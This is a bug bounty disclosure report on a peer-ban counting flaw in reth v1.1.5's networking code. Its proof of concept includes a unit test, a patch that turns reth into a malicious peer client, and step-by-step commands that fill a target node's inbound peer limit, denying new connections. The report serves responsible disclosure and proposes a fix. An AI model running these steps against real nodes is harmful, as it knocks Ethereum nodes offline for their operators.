Active Boosts

#38807 [BC-Low] DoS any reth node via ban logic exploit

Submitted on Jan 14th 2025 at 06:38:58 UTC by @Blobism for Attackathon | Ethereum Protocol

  • Report ID: #38807

  • Report Type: Blockchain/DLT

  • Report severity: Low

  • Target: https://github.com/paradigmxyz/reth

  • Impacts:

    • Shutdown of less than 10% of network processing nodes without brute force actions, but does not shut down the network

Description

Brief/Intro

The latest reth release (v1.1.5) contains a ban logic vulnerability, enabling a DoS attack that prevents all new incoming peers from connecting. The exploit can easily be executed on all reth nodes on the network. The exploit works by making a malicious node intentionally get banned on the target reth node via a specific code path. Then, a bug in the counting logic of incoming peers can be exploited to conduct the DoS.

Vulnerability Details

The primary bug exists in crates/net/network/src/peers.rs, in the function on_incoming_session_established. The bug occurs when the early return is reached below:

self.connection_info.inc_in();

match self.peers.entry(peer_id) {
    Entry::Occupied(mut entry) => {
        let peer = entry.get_mut();
        if peer.is_banned() {
            self.queued_actions.push_back(PeerAction::DisconnectBannedIncoming { peer_id });
            return
        }
        
        // ...
    }
    Entry::Vacant(entry) => {
        // ...
    }
}

The bug here is that if the early return gets reached while the peer is in state PeerConnectionState::Idle, then the self.connection_info.inc_in() will not have a corresponding decrement. Therefore, if an attacker has control of a banned malicious peer that can reach this early return, they can increment this counter as much as they desire. This leads to a DoS, as the counter controls whether or not new incoming peers are accepted.

The next challenge is how to reach this early return with a banned peer. It would initially seem that this point is unreachable, given that there is a check early in the function to see if the peer is in the ban_list:

if self.ban_list.is_banned_peer(&peer_id) {
    self.queued_actions.push_back(PeerAction::DisconnectBannedIncoming { peer_id });
    return
}

In fact, this can be circumvented, and the early return with the bug can be reached. This is achieved by making the malicious peer pass the peer.is_banned() check WITHOUT being on the ban_list.

An attacker can make a malicious peer fulfill these conditions by exploiting a bug in function on_connection_failure from the same file:

if let Some(kind) = err.should_backoff() {
    // ...
} else {
    // If the error was not a backoff error, we reduce the peer's reputation
    let reputation_change = self.reputation_weights.change(reputation_change);
    peer.reputation = peer.reputation.saturating_add(reputation_change.as_i32());
};

The bug here is that the reputation of the peer is reduced, but the peer is not added to the ban_list when their reputation falls below the threshold. Any call to peer.is_banned() will be true once the reputation falls below the threshold. Therefore, an attacker can exploit this by repeatedly sending a message from the peer that triggers this reputation reduction until their reputation falls below the threshold.

A simple message such as this (sent from a modified, malicious reth client) is enough to reach this code path:

PeerMessage::Other(reth_eth_wire::capability::RawCapabilityMessage::new(0, alloy_primitives::bytes::Bytes::new()))

This message should trigger an EthStreamError::InvalidMessage which can reach the desired point in the code. The process of reconnecting the malicious peer and sending this message can repeat until peer.is_banned() is true, but the peer is still not on the ban_list.

Finally, the attacker can repeatedly reconnect this banned peer, and it will constantly increment the incoming connection count without ever decrementing, exploiting the first bug. This ability to keep incrementing the counter leads to an incoming peer DoS.

The fix for these bugs would be to maintain the invariant that if peer.is_banned() is true, then the peer MUST be in the ban_list. This should make the early return in the first bug unreachable.

Impact Details

This exploit can easily be executed on any reth node on the network. The percentage of reth execution nodes is 2% according to clientdiversity.org. Therefore, this is a Low vulnerability bug that falls into the following category:

  • "Shutdown of less than 10% of network processing nodes without brute force actions, but does not shut down the network" - No new incoming peers will be accepted, so this processing node could potentially no longer propagate or receive new transactions, effectively shutting down the node

References

https://github.com/paradigmxyz/reth/blob/v1.1.5/crates/net/network/src/peers.rs

Link to Proof of Concept

https://gist.github.com/blobism/82618bf98ee87add058670492d9b5d0b

Proof of Concept

Proof of Concept

The exploit follows this procedure:

  1. Start a normal reth node (the target)

  2. Start a malicious node

  3. The normal reth node adds the malicious node as a peer

  4. The malicious node repeatedly sends an invalid message, then reconnects, until it passes the banned threshold

  5. The malicious node keeps trying to reconnect, incrementing the incoming peer counter until the DoS condition is reached

Unit Test PoC

This PoC unit test should be added to crates/net/network/src/peers.rs:

#[tokio::test]
async fn test_ban_dos_bug() {
    let peer = PeerId::random();
    let socket_addr = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(127, 0, 1, 2)), 8008);
    let config = PeersConfig::test().with_max_inbound(3);
    let mut peers = PeersManager::new(config);
    peers.add_peer(peer, PeerAddr::from_tcp(socket_addr), None);

    match event!(peers) {
        PeerAction::PeerAdded(peer_id) => {
            assert_eq!(peer_id, peer);
        }
        _ => unreachable!(),
    }
    match event!(peers) {
        PeerAction::Connect { peer_id, .. } => {
            assert_eq!(peer_id, peer);
        }
        _ => unreachable!(),
    }

    poll_fn(|cx| {
        assert!(peers.poll(cx).is_pending());
        Poll::Ready(())
    })
    .await;

    // get peer.is_banned() to be true without ending up on the ban_list
    loop {
        peers.on_active_session_dropped(
            &socket_addr,
            &peer,
            &EthStreamError::InvalidMessage(reth_eth_wire::message::MessageError::Invalid(reth_eth_wire::EthVersion::Eth68, reth_eth_wire::EthMessageID::Status)),
            // Alternatively use: &EthStreamError::MessageTooBig(100),
        );

        if peers.peers.get(&peer).unwrap().is_banned() {
            break;
        }

        assert!(peers.on_incoming_pending_session(socket_addr.ip()).is_ok());
        peers.on_incoming_session_established(peer, socket_addr);

        match event!(peers) {
            PeerAction::Connect { peer_id, .. } => {
                assert_eq!(peer_id, peer);
            }
            _ => unreachable!(),
        }
    }

    // TODO: a proper unit test would make the below assertion.
    // However, we will skip this and continue the exploit, since a bug
    // causes this invariant to be violated
    // assert!(peers.ban_list.is_banned_peer(&peer));
    println!("is_banned_peer: {}", peers.ban_list.is_banned_peer(&peer));

    // use the exploit to increase num_inbound to the limit
    for _ in 0..peers.connection_info.config.max_inbound {
        assert!(peers.on_incoming_pending_session(socket_addr.ip()).is_ok());
        peers.on_incoming_session_established(peer, socket_addr);

        match event!(peers) {
            PeerAction::DisconnectBannedIncoming { peer_id } => {
                assert_eq!(peer_id, peer);
            }
            _ => unreachable!(),
        }
    }

    poll_fn(|cx| {
        assert!(peers.poll(cx).is_pending());
        Poll::Ready(())
    })
    .await;

    // TODO: a proper unit test would make the below assertion, but we will
    // just print it instead and continue the exploit, since it does not hold
    // assert_eq!(peers.connection_info.num_inbound, 0);
    println!("num_inbound: {}", peers.connection_info.num_inbound);

    let new_addr = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(127, 0, 1, 3)), 8008);
    // This final assertion will fail due to the DoS, but normally it should work
    assert!(peers.on_incoming_pending_session(new_addr.ip()).is_ok());
}

Run it with:

cargo test --package reth-network --lib -- peers::tests::test_ban_dos_bug --exact --show-output

Local testnet PoC

Create the following chain.json:

{
    "nonce": "0x42",
    "timestamp": "0x0",
    "extraData": "0x5343",
    "gasLimit": "0xF0000000",
    "difficulty": "0x400000000",
    "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "coinbase": "0x0000000000000000000000000000000000000000",
    "alloc": {
        "0xd143C405751162d0F96bEE2eB5eb9C61882a736E": {
            "balance": "0x4a47e3c12448f4ad000000"
        },
        "0x944fDcD1c868E3cC566C78023CcB38A32cDA836E": {
            "balance": "0x4a47e3c12448f4ad000000"
        }
    },
    "number": "0x0",
    "gasUsed": "0x0",
    "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "config": {
        "ethash": {},
        "chainId": 12345,
        "homesteadBlock": 0,
        "eip150Block": 0,
        "eip155Block": 0,
        "eip158Block": 0,
        "byzantiumBlock": 0,
        "constantinopleBlock": 0,
        "petersburgBlock": 0,
        "istanbulBlock": 0,
        "berlinBlock": 0,
        "londonBlock": 0,
        "terminalTotalDifficulty": 0,
        "terminalTotalDifficultyPassed": true,
        "shanghaiTime": 0,
        "cancunTime": 0
    }
}

Create and run normal node

Fetch reth and run normal reth node:

git clone git@github.com:paradigmxyz/reth.git reth-normal
cd reth-normal
git checkout v1.1.5
cargo build && RUST_LOG="trace" target/debug/reth node -d --chain ../chain.json --datadir data1 --http --http.api "admin,debug,eth,net,trace,txpool,web3,rpc" --max-inbound-peers 3

Note down the p2p enode ID for this client from the logs. The --max-inbound-peers has been set to 3 only for demonstration purposes. The exploit works with any max inbound size.

Create and run malicious node

The malicious node here is a reth node with one minor modification. It could in principle be any modified execution client or custom client.

Fetch reth

git clone git@github.com:paradigmxyz/reth.git reth-malicious
cd reth-malicious
git checkout v1.1.5

Only for this malicious reth version, add the following line to crates/net/network/src/manager.rs at the beginning of the SwarmEvent::PeerAdded(peer_id) block (line 758):

self.swarm.sessions_mut().send_message(&peer_id, PeerMessage::Other(reth_eth_wire::capability::RawCapabilityMessage::new(0, alloy_primitives::bytes::Bytes::new())));

The result should look like this:

SwarmEvent::PeerAdded(peer_id) => {
    self.swarm.sessions_mut().send_message(&peer_id, PeerMessage::Other(reth_eth_wire::capability::RawCapabilityMessage::new(0, alloy_primitives::bytes::Bytes::new())));
    trace!(target: "net", ?peer_id, "Peer added");
    self.event_sender.notify(NetworkEvent::Peer(PeerEvent::PeerAdded(peer_id)));
    self.metrics.tracked_peers.set(self.swarm.state().peers().num_known_peers() as f64);
}

This malicious client works by sending an invalid message to a peer the moment that peer is added.

Run malicious node:

cargo build && RUST_LOG="trace" target/debug/reth node -d --chain ../chain.json --datadir data1 --http --http.api "admin,debug,eth,net,trace,txpool,web3,rpc" --port 30304 --authrpc.port 8552 --http.port 8546

Note down the p2p enode ID for this client from the logs.

Start exploit

Now make the normal node connect to the malicious node (normal node is running on default port):

cast rpc admin_addPeer enode://<malicious_node_id>@127.0.0.1:30304

At this point, the malicious peer should already fulfill peer.is_banned() on the normal reth node, because the malicious peer retries connecting.

Repeat the following steps:

  1. Stop malicious node

  2. Start malicious node

  3. Run the command below, making the malicious node try to connect to the normal node

cast rpc admin_addPeer enode://<normal_node_id>@127.0.0.1:30303 --rpc-url http://localhost:8546

After repeating this process 3 times, the --max-inbound-peers of 3 should be reached, and the DoS has occurred. This could be automated to happen much faster, but the attack also works when executed slowly.

No inbound peers should be able to connect. This can be confirmed by trying to connect a new, normal reth peer and seeing it get rejected (make sure to use a different --datadir than before):

cd reth-normal
RUST_LOG="trace" target/debug/reth node -d --chain ../chain.json --datadir data2 --http --http.api "admin,debug,eth,net,trace,txpool,web3,rpc" --port 30305 --authrpc.port 8553 --http.port 8547

Now try to have it connect to the original node

cast rpc admin_addPeer enode://<normal_node_id>@127.0.0.1:30303 --rpc-url http://localhost:8547

You will see a log line similar to this on the target node:

TRACE net: No capacity for incoming connection

Last updated

Was this helpful?